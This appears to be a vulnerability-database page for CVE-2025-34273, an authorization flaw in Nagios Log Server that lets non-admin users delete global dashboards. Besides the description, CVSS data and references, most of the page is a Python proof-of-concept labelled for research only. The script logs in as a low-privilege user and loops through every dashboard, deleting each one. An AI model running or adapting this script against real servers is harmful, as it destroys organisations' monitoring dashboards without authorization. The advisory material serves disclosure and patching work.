CVE-2025-34273

Description

Nagios Log Server versions prior to 2024R2.0.3 contain an incorrect authorization vulnerability that allows non-administrator users to delete global dashboards. The application did not correctly enforce authorization checks for the global dashboard deletion workflow, enabling lower-privileged users to remove dashboards that affect other users or the overall monitoring UI.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:log_server:2024:r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:log_server:2024:r1.0.1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:log_server:2024:r1.0.2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:log_server:2024:r1.1:*:*:*:*:*:* - VULNERABLE

Nagios Log Server < 2024R2.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-34273 Nagios Log Server Unauthorized Global Dashboard Deletion PoC
# This PoC demonstrates the authorization bypass vulnerability

import requests
import json

TARGET_URL = "http://target-nagios-log-server.com"
USERNAME = "low_privilege_user"
PASSWORD = "password123"

# Step 1: Authenticate and obtain session
def authenticate():
    """Login to Nagios Log Server to obtain session cookie"""
    session = requests.Session()
    login_url = f"{TARGET_URL}/nagioslogserver/api/session"
    
    payload = {
        "username": USERNAME,
        "password": PASSWORD
    }
    
    response = session.post(login_url, json=payload)
    
    if response.status_code == 200:
        print("[+] Authentication successful")
        return session
    else:
        print("[-] Authentication failed")
        return None

# Step 2: Get list of global dashboards
def list_global_dashboards(session):
    """Retrieve list of available global dashboards"""
    dashboards_url = f"{TARGET_URL}/nagioslogserver/api/dashboards"
    
    response = session.get(dashboards_url)
    
    if response.status_code == 200:
        dashboards = response.json()
        print(f"[+] Found {len(dashboards)} dashboards")
        return dashboards
    return []

# Step 3: Delete global dashboard (exploiting authorization bypass)
def delete_global_dashboard(session, dashboard_id):
    """Delete a global dashboard without admin privileges"""
    delete_url = f"{TARGET_URL}/nagioslogserver/api/dashboards/{dashboard_id}"
    
    # This request should fail for non-admin users, but succeeds due to vulnerability
    response = session.delete(delete_url)
    
    if response.status_code in [200, 204]:
        print(f"[+] Dashboard {dashboard_id} deleted successfully (VULNERABLE!)")
        return True
    else:
        print(f"[-] Failed to delete dashboard: {response.status_code}")
        return False

def main():
    print("CVE-2025-34273 PoC - Nagios Log Server Authorization Bypass")
    print("=" * 60)
    
    # Authenticate
    session = authenticate()
    if not session:
        return
    
    # List available dashboards
    dashboards = list_global_dashboards(session)
    
    # Attempt to delete each dashboard
    for dashboard in dashboards:
        dashboard_id = dashboard.get('id')
        dashboard_name = dashboard.get('name', 'Unknown')
        print(f"\n[*] Attempting to delete dashboard: {dashboard_name} (ID: {dashboard_id})")
        delete_global_dashboard(session, dashboard_id)

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-34273
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-34273
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-34273/
[4] VulDB https://vuldb.com/cve/CVE-2025-34273
[5] https://www.nagios.com/changelog/#log-server
[6] https://www.nagios.com/products/security/#log-server-2024R2
[7] https://www.vulncheck.com/advisories/nagios-log-server-non-admin-dashboard-deletion

Raw JSON Data

JSON

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